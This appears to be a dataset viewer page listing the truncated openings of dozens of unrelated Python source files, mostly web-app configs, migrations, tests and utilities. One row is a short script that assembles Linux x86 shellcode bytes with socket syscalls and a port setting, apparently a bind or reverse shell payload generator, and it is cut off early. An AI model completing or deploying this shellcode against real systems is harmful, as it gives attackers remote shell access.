text stringlengths 1 927k |
|---|
from __future__ import print_function
import os
import numpy as np
from PIL import Image
import torch
import torch.optim as optim
from darknet import Darknet
from torch.autograd import Variable
from utils import convert2cpu, image2torch
cfgfile = "face4.1re_95.91.cfg"
weightfile = "face4.1re_95.91.conv.15"
imgpath ... |
"""
WSGI config for back_end project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETT... |
class Node:
def __init__(self,data):
self.data = data
self.next = None
class LinkedList:
def __init__(self):
self.head = None
def display(self):
temp = self.head
ll = []
while(temp):
ll.append(temp.data)
temp = temp.next
... |
from ..node import WarpQNode
from pyvad import vad
class WarpQVADNode(WarpQNode):
def __init__(self, id_: str, ref_sig_key: str, deg_sig_key: str,
**kwargs):
super().__init__(id_)
self.ref_sig_key = ref_sig_key
self.deg_sig_key = deg_sig_key
self.type_ = "WarpQ... |
"""The tests for MQTT device triggers."""
import json
import pytest
import homeassistant.components.automation as automation
from homeassistant.components.mqtt import DOMAIN, debug_info
from homeassistant.components.mqtt.device_trigger import async_attach_trigger
from homeassistant.components.mqtt.discovery import as... |
# Status: ported.
# Base revision: 64488
# Copyright 2002, 2003 Dave Abrahams
# Copyright 2002, 2005, 2006 Rene Rivera
# Copyright 2002, 2003, 2004, 2005, 2006 Vladimir Prus
# Distributed under the Boost Software License, Version 1.0.
# (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt... |
# Copyright 2015 Tesora Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... |
load("//java:deps.bzl", "DEPS")
load("//protobuf:rules.bzl",
"proto_compile",
"proto_language",
"proto_language_deps",
"proto_repositories")
def java_proto_repositories(
lang_deps = DEPS,
lang_requires = [
#"com_google_code_gson_gson",
#"com_google_guava_guava",
"protoc_gen_gr... |
# -*- coding: utf-8 -*-
import os
from babel import support
from flask.ext.babel import Babel, gettext, ngettext, lazy_gettext, _
from flask.ext.babel import get_locale
from flask import g, request, current_app
from flask import _request_ctx_stack
from flask.ext.login import current_user
from david.translations impor... |
# Implemented by Vitor Falcão da Rocha
class ProgramControlFlowChange:
def __init__(self):
self.found = False
self.found_cycle = 0
self.cycle_counter = 0
def check(self, section, address, instruction, op1, op2):
self.cycle_counter += 1
if instruction == 'push':
... |
"""Unit tests for utility.py"""
import imp
import os
import sys
module_name = 'provisioner'
here_dir = os.path.dirname(os.path.abspath(__file__))
module_path = os.path.join(here_dir, '../../')
sys.path.append(module_path)
fp, pathname, description = imp.find_module(module_name)
provisioner = imp.load_module(module_na... |
import json, os
from position import Pos
class Loader:
def __init__(self, id):
file_name = str(id) + ".json"
path = os.path.dirname(__file__)
path_json = os.path.join(path, "data", file_name)
file = open(path_json)
dict = json.load(file)
players = dict["players"]
... |
# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
# SPDX-License-Identifier: MIT-0
"""
Model for handling AWS accounts within the organization. The Account class
allows you to create or update a new account.
"""
class Account:
def __init__(
self,
full_name,
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 1999-2017 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... |
#! /usr/bin/python3
# -*- coding: utf-8 -*-
#=================================================================================
# author: Chancerel Codjovi (aka codrelphi)
# date: 2019-09-16
# source: https://www.hackerrank.com/challenges/write-a-function/problem
#========================================================... |
"""
WSGI config for mysite project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTI... |
#
# Copyright (C) [2020] Futurewei Technologies, Inc.
#
# FORCE-RISCV is licensed under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# THIS SOFTWARE IS PR... |
import os
import sys
try:
from setuptools import setup, Command
except ImportError:
from distutils.core import setup, Command
package_name = 'dpkt'
description = 'fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols'
readme = open('README.rst').read()
requirements = []
# Py... |
import numpy as np
import random
import time
COLOR_BLACK=-1
COLOR_WHITE=1
COLOR_NONE=0
random.seed(0)
class AI(object):
def __init__(self, chessboard_size, color, time_out):
self.chessboard_size = chessboard_size
self.color = color
self.time_out = time_out
self.candidate_list = []
... |
from talon import Context, actions
ctx = Context()
ctx.matches = r"""
os: windows
app: firefox
"""
@ctx.action_class('app')
class AppActions:
def tab_next(): actions.key('ctrl-pageup')
def tab_previous(): actions.key('ctrl-pagedown')
@ctx.action_class('browser')
class BrowserActions:
def bookmark():
... |
# Generated by Django 2.2.3 on 2020-01-07 14:31
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('reserve_app', '0007_auto_20200107_1429'),
]
operations = [
migrations.AlterField(
model_name='r... |
import os
import codecs
from indic_transliteration import sanscript
from jyotisha.panchaanga.temporal import RulesCollection, RulesRepo
from jyotisha.panchaanga.temporal.festival.rules import summary
def test_describe_fest():
rule_set = RulesCollection(repos=[RulesRepo(name="test_repo", path=os.path.join(os.path.di... |
# Generated by Django 2.1.4 on 2020-04-11 13:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='category',
options={'verbose_name': ' c... |
import os
import io
import re
from contextlib import redirect_stdout
from nose.tools import assert_greater_equal, assert_true, assert_equal
from nose import SkipTest
import numpy as np
from scipy import sparse
from sklearn.neighbors import KDTree
from sklearn.preprocessing import normalize
from pynndescent import NN... |
# Generated by Django 3.1.3 on 2021-05-10 20:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('resume', '0002_auto_20210510_1946'),
]
operations = [
migrations.AlterField(
model_name='language',
name='image',
... |
# -*- coding: utf-8 -*-
"""Cisco DNA Center Topology API wrapper.
Copyright (c) 2019-2021 Cisco Systems.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without lim... |
from django.urls import path
from . import views
urlpatterns = [
path("", views.index, name="index"),
path("login", views.login_view, name="login"),
path("logout", views.logout_view, name="logout"),
path("register", views.register, name="register"),
path("profile/<str:username>/page=<int:pnumber>"... |
try: import cPickle as pickle
except: import pickle
import numpy as np
import networkx as nx
import random
import itertools
from time import time
import pdb
def transform_DiGraph_to_adj(di_graph):
"""Function to convert the directed graph to adjacency matrix."""
n = di_graph.number_of_nodes()
adj = np.ze... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... |
#!/usr/bin/env python
# /***************************************************************************
#
# @package: panda_robot
# @author: Saif Sidhik <sxs1412@bham.ac.uk>
#
# **************************************************************************/
# /************************************************************... |
from datetime import date, datetime, timedelta
from json import loads
from accountancy.helpers import sort_multiple
from accountancy.testing.helpers import *
from cashbook.models import CashBook, CashBookTransaction
from controls.models import FinancialYear, ModuleSettings, Period
from django.contrib.auth import get_u... |
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
import logging
import inspect
import os
from rest_framework import generics
from rest_framework.parsers import FormParser, JSONParser, MultiPartPa... |
import os
import sys
import json
import numpy as np
import pandas as pd
import glob
from celescope.tools.report import reporter
from celescope.tools.utils import log
from celescope.tools.Analysis import Analysis
class Analysis_tag(Analysis):
def run(self, tsne_tag_file):
cluster_tsne = self.get_cluster_ts... |
# Step 1: establish path to traci
import os, sys
if 'SUMO_HOME' in os.environ:
tools = os.path.join(os.environ['SUMO_HOME'], 'tools')
sys.path.append(tools)
else:
sys.exit("please declare environment variable 'SUMO_HOME'")
# Step 2: add traci to be able to access its functionality
import traci
# Step 3: c... |
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
from typing import List, Optional, Dict
from vizseq.scorers._ter import sentence_ter
from vizseq.scorers import registe... |
import seaborn as sns
import pandas as pd
import matplotlib.animation as animation
import matplotlib.pyplot as plt
#
sns.set_style("whitegrid")
#
def plot_reward(save_dir, varname, ylabel, save_fig=False):
fig, ax = plt.subplots(1, 1, figsize=(7, 4))
#
sns.lineplot(data=data[varname].dropna(), ax=ax)
... |
import torch
import torchvision.models as models
import torch
from torch.autograd import Variable
import torch.nn as nn
import torch.nn.functional as F
import csv
from util import *
from model import *
parser = argparse.ArgumentParser(description='PyTorch Model to MAESTRO')
parser.add_argument('--dataflow', type=str, ... |
"""
Trigger examples
"""
__version__ = "$Revision: 1.34 $"
import sys, os
thisPath = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.abspath(os.path.join(thisPath,"..")))
from ExampleBuilder import ExampleBuilder
import Utils.Libraries.PorterStemmer as PorterStemmer
from Core.IdSet import IdSet
impo... |
name=input('what is your name? ')
print('hi '+name) |
import numpy as np
import cv2
import random
import warnings
import scipy
from scipy.linalg.basic import solve_circulant
import skimage
import skimage.transform
from distutils.version import LooseVersion
import torch
import math
import json
from torch.functional import Tensor
np.random.seed(42)
def load_points_datase... |
import FWCore.ParameterSet.Config as cms
from RecoEgamma.EgammaIsolationAlgos.egammaHBHERecHitThreshold_cff import egammaHBHERecHit
isolationSumsCalculator = cms.PSet(
#required inputs
ComponentName = cms.string('isolationSumsCalculator'),
barrelEcalRecHitCollection = cms.InputTag('ecalRecHit:EcalRecHits... |
import pydirectinput as pdi
import time
import os
import json
import numpy as np
# This will be the main bot class file
# The intent is to thread the tasks and have a linear set of actions
# While having multiple detectors in separate threads
# But also have the order of actions be interruptable
# In case the detectors... |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... |
from django.contrib.messages import constants
from django.contrib.messages.storage import default_storage
__all__ = (
'add_message', 'get_messages',
'get_level', 'set_level',
'debug', 'info', 'success', 'warning', 'error',
'MessageFailure',
)
class MessageFailure(Exception):
pass
def add_messag... |
"""
The block_structure django app provides an extensible framework for caching
data of block structures from the modulestore.
Dual-Phase. The framework is meant to be used in 2 phases.
* Collect Phase (for expensive and full-tree traversals) - In the
first phase, the "collect" phase, any and all data from the
... |
# http://learning-0mq-with-pyzmq.readthedocs.org/en/latest/pyzmq/patterns/pair.html
import time
import zmq
port = "5556"
context = zmq.Context()
socket = context.socket(zmq.PAIR)
socket.connect("tcp://localhost:{}".format(port))
while True:
msg = socket.recv()
print(msg)
socket.send_string("client messa... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
class LogResourcePolicy(pulumi.CustomResource):
"""
Provides a resource to manage a CloudW... |
#! /usr/bin/python2
#
# Copyright (c) 2017 Intel Corporation
#
# SPDX-License-Identifier: Apache-2.0
#
"""Plug or unplug things to/from a target
--------------------------------------
This module implements the client side API for controlling the things
that can be plugged/unplugged to/from a target.
"""
import tc
fr... |
#!/usr/bin/python
import sys
shellcode_start = "\\x31\\xc9\\x89\\xc8\\xb0\\x66\\x89\\xcb\\xb3\\x01\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xc9\\x89\\xc8\\xb0\\x66\\x89\\xcb\\xb3\\x02\\x51\\x66\\x68"
shellcode_port = "\\x04\\xd2" #1234
shellcode_end = "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x... |
class Solution:
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
d = {}
for i in range(0, len(nums)):
if nums[i] in d:
return [d[nums[i]], i]
d[target - nums[i]] = i
def... |
import numpy as np
import pandas as pd
import copy
import re
class PreProcess(object):
def __init__(self):
self.df = None
def _standardize_string(self, a_str):
"""Replace whitespace with underscore
remove non-alphanumeric characters
"""
if isinstance(a_str, str) or... |
"""Default constants."""
import functools
import jax.numpy as jnp
from probfindiff.typing import KernelFunctionLike
from probfindiff.utils import kernel_zoo
NOISE_VARIANCE = 1e-14
"""Function observation noise."""
ORDER_DERIVATIVE = 1
"""Derivative order."""
ORDER_METHOD_CENTRAL = 2
"""Order of central finite dif... |
import json
from kolejka.judge.checking import Checking
from kolejka.judge.commands.check import Diff
from kolejka.judge.commands.run.shell import RunShellSolution
from kolejka.judge.utils import detect_environment
checking = Checking(environment=detect_environment())
checking.add_steps(
run=RunShellSolution('./s... |
#
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
# -*- coding: utf-8 -*-
"""Functions to do data frame merging."""
from typing import Dict
import pandas as pd
from django.utils.translation import gettext
from ontask.dataops.pandas.columns import has_unique_column, is_unique_column
from ontask.dataops.pandas.dataframe import store_dataframe
def _perform_non_over... |
from invenio_oarepo_oai_pmh_harvester.register import Decorators
from invenio_oarepo_oai_pmh_harvester.transformer import OAITransformer
@Decorators.rule("xoai")
@Decorators.pre_rule("/dc/subject")
def transform_subject(paths, el, results, phase, **kwargs):
# TODO: vyřešit subjects, teď sbíráme jen keywordy
k... |
from django.contrib import admin
from .models import Country, Province, Property, Town, Address, Tenant, Agent, Profile
# Register your models here.
myModels = [Country, Province, Property, Town, Address, Tenant, Agent, Profile]
admin.site.register(myModels) |
# -*- coding: utf-8 -*-
"""
Created on Thu May 7 09:04:52 2020
@author: hcji
"""
import json
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from tqdm import tqdm
from scipy.sparse import load_npz
from DeepEI.utils import get_score
with open('DeepEI/data/split.json', 'r') as js:
split = ... |
import datetime
import logging
import random
import sys
import tempfile
import time
from unittest.mock import MagicMock
import cloudpickle
import dask
import pytest
import prefect
from prefect.engine.executors import (
DaskExecutor,
Executor,
LocalExecutor,
SynchronousExecutor,
)
class TestBaseExecu... |
from django.db import models
from django.contrib.auth.models import User
class Post(models.Model):
id = models.AutoField(primary_key=True)
title = models.CharField(max_length=100)
content = models.TextField(max_length=5000)
author = models.ForeignKey(User, on_delete=models.CASCADE)
date = models.... |
import pyprimes
import array_writer
import hrtf_writer
import mit
hrtf_writer.write_hrtf_data(mit.compute_hrtf_data())
def primes(limit):
"""Get all primes including the first prime above the specified threshold."""
for i in pyprimes.primes():
if i > limit:
yield i
return
... |
#!/usr/bin/env python3
import sys
# Functions
def sumup():
''' Iterative '''
numbers = []
for argument in sys.argv[1:]:
try:
numbers.append(int(argument))
except ValueError:
pass
print(f'The sum of {numbers} is {sum(numbers)}')
def sumup_fp():
''' Functi... |
import pytest
from mitmproxy.test import tflow
from mitmproxy.test import taddons
from mitmproxy.addons import stickycookie
from mitmproxy.test import tutils as ntutils
def test_domain_match():
assert stickycookie.domain_match("www.google.com", ".google.com")
assert stickycookie.domain_match("google.com", "... |
#!/usr/bin/python
print ("Hello world")
print ("this is testing") |
#!/usr/bin/python
import getopt
import commands, os, sys, time, string
import datetime
import traceback
import urllib2
import libxml2
import exceptions
##################################################
class InteropAccounting:
"""
Author: John Weigand (10/26/10)
Description:
This class accesses MyOsg for ... |
from pypy.interpreter.error import OperationError
from pypy.interpreter.gateway import unwrap_spec
from pypy.interpreter.pyframe import PyFrame
from pypy.interpreter.pycode import PyCode
from pypy.interpreter.baseobjspace import W_Root
from rpython.rlib import rvmprof
# ________________________________________________... |
__version__ = "1.13.3" |
"""
WSGI config for example project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTI... |
from collections import defaultdict
from typing import Any, Dict, Iterable, Union, List, Mapping
import more_itertools
from allennlp.common.registrable import Registrable
from allennlp.data.instance import Instance
class MultiTaskScheduler(Registrable):
"""
A class that determines how to order instances wit... |
from unittest import TestCase
from rec.dataset.dataset import Dataset
from rec.recommender.baseline import RandomRecommender
class TestRandomRecommender(TestCase):
def test_predict(self):
dataset = Dataset.generate_test_data(100, 100, 10, 4)
train, test = dataset.split_left_n_sessions(1)
... |
# -*- coding: utf-8 -*-
import marcalyx
import pytest
import xml.etree.ElementTree as ET
@pytest.fixture()
def kindred():
tree = ET.parse('tests/xml/1027474578.xml')
root = tree.getroot()
return marcalyx.Record(root)
@pytest.fixture()
def quilt():
tree = ET.parse('tests/xml/10705.xml')
root = tr... |
# Copyright 2016 Mirantis, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
#!/usr/bin/env python
import rospy
from predicator_msgs.srv import *
from predicator_msgs.msg import *
from geometry_msgs.msg import Pose
srv = rospy.ServiceProxy('predicator/get_waypoints',GetWaypoints)
p2 = PredicateStatement(predicate='up_from',params=['*','world','world'],num_params=2)
p3 = PredicateStatement(pre... |
STOP = 0x0
ADD = 0x1
MUL = 0x2
SUB = 0x3
DIV = 0x4
SDIV = 0x5
MOD = 0x6
SMOD = 0x7
ADDMOD = 0x8
MULMOD = 0x9
EXP = 0xa
SIGNEXTEND = 0xb
LT = 0x10
GT = 0x11
SLT = 0x12
SGT = 0x13
EQ = 0x14
ISZERO = 0x15
AND = 0x16
OR = 0x17
XOR = 0x18
NOT = 0x19
BYTE = 0x1a
SHL = 0x1b
SHR = 0x1c
SAR = 0x1d
SHA3 = 0x20
ADDRESS = 0x30
... |
# Copyright 2017 the V8 project authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# Load this file by adding this to your ~/.lldbinit:
# command script import <this_dir>/lldb_commands.py
# for py2/py3 compatibility
from __future__ impor... |
"""
Created on 25 Mar 2014
@author: Max Demian
"""
import auth
# Set up a test user and permission
auth.authenticator.add_user("joe", "joepassword")
auth.authorizor.add_permission("test program")
auth.authorizor.add_permission("change program")
auth.authorizor.permit_user("test program", "joe")
# auth.autho... |
from celescope.mut.__init__ import __ASSAY__
from celescope.tools.multi import Multi
class Multi_mut(Multi):
def mapping_mut(self, sample):
step = 'mapping_mut'
fq = f'{self.outdir_dic[sample]["cutadapt"]}/{sample}_clean_2.fq{self.fq_suffix}'
cmd = (
f'{self.__APP__} '
... |
from webob import status_map as _STATUS
from web.dispatch.resource import Collection as _Collection
from marrow.mongo.query import Ops as _Ops
from ..resource.domain import Domain as _Domain
class Redirections(_Collection):
"""A collection for the management of redirections on a per-domain basis."""
__resource_... |
# -*- coding: utf-8 -*-
import sys
from collections import namedtuple
import pytest
from pip_manager.app import PipManager
def test_init(mocker):
mocked_Gui = mocker.patch('pip_manager.app.Gui')
mocker.patch('pip_manager.app.PipManager.get_distributions')
pm = PipManager()
assert pm.page == 0
a... |
'''
Created on Aug 2, 2017
@author: lubo
'''
def test_mapping_long(
argparser, tests_config, mapping_command, mocker):
mapping_command.add_options(tests_config)
argv = [
"--dry-run", "--force",
"--config", "tests/data/scpipe_tests.yml",
"--parallel", "10",
"mapping",
... |
"""This module contain functions for reset password."""
from django.http import JsonResponse
from django.contrib.auth.models import User
from .email_sender import send_message_with_new_password
def reset_password_processing(request: object, reset_password_form: object) -> object:
"""Check user in database and s... |
from ...superTemplate import SuperTemplate
class U(SuperTemplate):
template = r'''
/*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox ... |
# Copyright (c) OpenMMLab. All rights reserved.
import torch
from mmcv.ops import points_in_polygons
from mmdet.core.bbox.assigners.assign_result import AssignResult
from mmdet.core.bbox.assigners.base_assigner import BaseAssigner
from mmrotate.core.bbox.utils import GaussianMixture
from ..builder import ROTATED_BBOX_... |
import base64, subprocess, json
from urllib.request import urlopen, Request
def _base64(text):
"""Encodes string as base64 as specified in the ACME RFC."""
return base64.urlsafe_b64encode(text).decode("utf8").rstrip("=")
def _openssl(command, options, communicate=None):
"""Run openssl command line and rai... |
import os.path as osp
import pytorch_lightning as pl
import torch
import torch.nn.functional as F
from torch.nn import BatchNorm1d
from torchmetrics import Accuracy
from torch_geometric import seed_everything
from torch_geometric.data import LightningNodeData
from torch_geometric.datasets import Reddit
from torch_geo... |
import copy
from datetime import date, datetime, timedelta
from typing import Any, Callable, List, Optional, Sequence, Tuple, Type, Union
import numpy as np
from polars.utils import _timedelta_to_pl_duration
try:
from polars.polars import PyExpr
_DOCUMENTING = False
except ImportError: # pragma: no cover
... |
import nltk.stem.wordnet as wordnet
import nltk
import os
import re
# set the nltk data path to local dir
nltk.data.path.append(os.path.dirname(os.path.abspath(__file__)) + os.sep + "nltk_data")
class Tokenizer(object):
"""Used to extract tokens (words) from documents"""
@staticmethod
def get_word_tokens(text)... |
from norminette.exceptions import CParsingError
from norminette.lexer.dictionary import operators
from norminette.norm_error import NormError
from norminette.scope import GlobalScope, ControlStructure
from norminette.tools.colors import colors
types = [
"CHAR",
"DOUBLE",
"ENUM",
"FLOAT",
"INT",
... |
import sys
import re
import string
# Takes plain text output from WikipediaExtractor, and a previously
# created line file, and just replaces body text with the clean
# one...
onlyThreeColumns = '-only-three-columns' in sys.argv
if onlyThreeColumns:
sys.argv.remove('-only-three-columns')
# Line file docs:
f1 = op... |
import sqlite3
import pandas as pd
conn = sqlite3.connect(r"database/database.db", check_same_thread=False)
db = conn.cursor()
def retail_sales():
"""
Get retail sales and compare it with avg monthly covid cases
"""
df = pd.read_html("https://ycharts.com/indicators/us_retail_and_food_services_sales")... |
import sys
import decimal
from svg.path import Path, Line, Arc, CubicBezier, QuadraticBezier
from svg.path import parse_path
import xml.etree.ElementTree as ET
def frange(x, y, jump):
while x < y:
yield x
x += jump
ns = {'svg': 'http://www.w3.org/2000/svg'}
inputfile = sys.argv[1];
tree = ET.parse(inputfil... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from tkinter import *
import tkinter
import tkinter.scrolledtext as tkst
from tkinter.ttk import *
from tkinter import ttk
from tkinter.constants import END,HORIZONTAL, VERTICAL, NW, N, E, W, S, SUNKEN, LEFT, RIGHT, TOP, BOTH, YES, NE, X, RAISED, SUNKEN, DISABLED, NORMAL... |
# Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for full license information.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import numpy as np
import pandas as pd
from tqdm import tqdm
import torch
from torch.utils.data import DataLoade... |
"""
Module with location helpers.
detect_location_info and elevation are mocked by default during tests.
"""
import collections
import math
from typing import Any, Optional, Tuple, Dict
import requests
ELEVATION_URL = 'http://maps.googleapis.com/maps/api/elevation/json'
IP_API = 'http://ip-api.com/json'
IPAPI = 'htt... |
import torch.nn as nn
class StyleClassifier(nn.Module): # classifies NPI outputs
def __init__(self, n=200, m=768, k=1):
"""
input_activs_shape: tuple of (b, n, m, 1)
b is the number of batches
n x m x 1 slices contain the elements of the original activations, flattened into... |
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
from io import open
from setuptools import find_packages, setup
with open('pytest_tipsi_django/__init__.py', 'r') as f:
for line in f:
if line.startswith('__version__'):
version = line.strip().split('=')[1].strip(' \'"')
break
else:
version = '0.0.1'
with open('README.... |
# manifest.py - manifest revision class for mercurial
#
# Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.
from __future__ import absolute_import
import heapq
import itertools
imp... |
"""Override module for the mass lapse risk calculation
The formulas in this module overrides cells related to lapse in
:mod:`projection <solvency2.projection>` module.
"""
def BenefitSurr(t):
"""Surrender benefits"""
return SizeBenefitSurr(t) * (PolsSurr(t) + PolsSurrMass(t))
def PolsSurrMass(t):
"""Num... |
# ----------------------------------
# Options affecting listfile parsing
# ----------------------------------
with section("parse"):
# Specify structure for custom cmake functions
additional_commands = {
'target_check_clang_tidy': {
'flags': [],
'kwargs': {}},
'target_l... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.